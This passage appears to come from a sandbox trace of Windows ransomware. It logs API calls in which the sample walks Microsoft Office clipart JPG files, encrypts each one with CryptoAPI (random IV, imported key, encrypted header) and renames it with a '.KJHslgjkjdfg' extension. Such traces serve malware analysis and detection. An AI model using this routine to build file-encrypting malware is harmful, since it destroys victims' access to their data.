lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0214.175] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.175] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.175] GetProcessHeap () returned 0x2ef0000 [0214.175] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.175] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.175] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.175] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.175] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.176] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.176] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.176] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.176] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.176] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.176] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xcb0a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xcb0a, lpOverlapped=0x0) returned 1 [0214.178] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xcb10, dwBufLen=0xcb10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xcb10) returned 1 [0214.179] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.179] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xcb10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xcb10, lpOverlapped=0x0) returned 1 [0214.179] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.179] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xcbe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.179] SetEndOfFile (hFile=0x130) returned 1 [0214.183] GetProcessHeap () returned 0x2ef0000 [0214.183] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.183] GetProcessHeap () returned 0x2ef0000 [0214.183] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.183] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg.kjhslgjkjdfg")) returned 1 [0214.185] CloseHandle (hObject=0x130) returned 1 [0214.185] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6cec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0387578.JPG", cAlternateFileName="")) returned 1 [0214.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.186] GetProcessHeap () returned 0x2ef0000 [0214.187] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.187] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.187] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.187] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.189] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.189] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.190] GetProcessHeap () returned 0x2ef0000 [0214.190] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.190] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.190] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.190] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.190] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.190] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.190] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.190] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.190] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.191] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.191] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.191] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.191] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6cec, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6cec, lpOverlapped=0x0) returned 1 [0214.192] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6cf0, dwBufLen=0x6cf0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6cf0) returned 1 [0214.192] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.193] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6cf0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6cf0, lpOverlapped=0x0) returned 1 [0214.193] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.193] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.193] SetEndOfFile (hFile=0x130) returned 1 [0214.197] GetProcessHeap () returned 0x2ef0000 [0214.197] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.197] GetProcessHeap () returned 0x2ef0000 [0214.197] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.197] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg.kjhslgjkjdfg")) returned 1 [0214.199] CloseHandle (hObject=0x130) returned 1 [0214.199] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x98c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0387591.JPG", cAlternateFileName="")) returned 1 [0214.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.204] GetProcessHeap () returned 0x2ef0000 [0214.204] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.205] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.205] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.205] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x9, lpOverlapped=0x0) returned 1 [0214.224] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.225] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.225] GetProcessHeap () returned 0x2ef0000 [0214.225] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.225] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.225] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.225] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.225] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.225] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.225] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.226] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.226] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.226] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.226] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.226] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.226] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x98c7, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x98c7, lpOverlapped=0x0) returned 1 [0214.228] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x98d0, dwBufLen=0x98d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x98d0) returned 1 [0214.228] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.228] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x98d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x98d0, lpOverlapped=0x0) returned 1 [0214.229] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.229] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x99a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.229] SetEndOfFile (hFile=0x130) returned 1 [0214.233] GetProcessHeap () returned 0x2ef0000 [0214.233] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.233] GetProcessHeap () returned 0x2ef0000 [0214.233] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.233] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg.kjhslgjkjdfg")) returned 1 [0214.235] CloseHandle (hObject=0x130) returned 1 [0214.235] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb9bf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0387604.JPG", cAlternateFileName="")) returned 1 [0214.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.236] GetProcessHeap () returned 0x2ef0000 [0214.236] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.236] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.236] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.237] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x1, lpOverlapped=0x0) returned 1 [0214.265] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.265] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.265] GetProcessHeap () returned 0x2ef0000 [0214.265] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.265] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.265] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.265] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.265] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.265] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.265] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.265] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.266] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.266] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.266] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.266] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb9bf, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb9bf, lpOverlapped=0x0) returned 1 [0214.269] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb9c0, dwBufLen=0xb9c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb9c0) returned 1 [0214.270] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.270] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb9c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb9c0, lpOverlapped=0x0) returned 1 [0214.270] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.270] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xba94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.270] SetEndOfFile (hFile=0x130) returned 1 [0214.273] GetProcessHeap () returned 0x2ef0000 [0214.273] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.273] GetProcessHeap () returned 0x2ef0000 [0214.273] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.273] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg.kjhslgjkjdfg")) returned 1 [0214.275] CloseHandle (hObject=0x130) returned 1 [0214.275] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x98ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0387882.JPG", cAlternateFileName="")) returned 1 [0214.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.276] GetProcessHeap () returned 0x2ef0000 [0214.276] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.276] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.276] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.277] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.279] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.279] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.279] GetProcessHeap () returned 0x2ef0000 [0214.279] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.279] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.279] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.279] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, 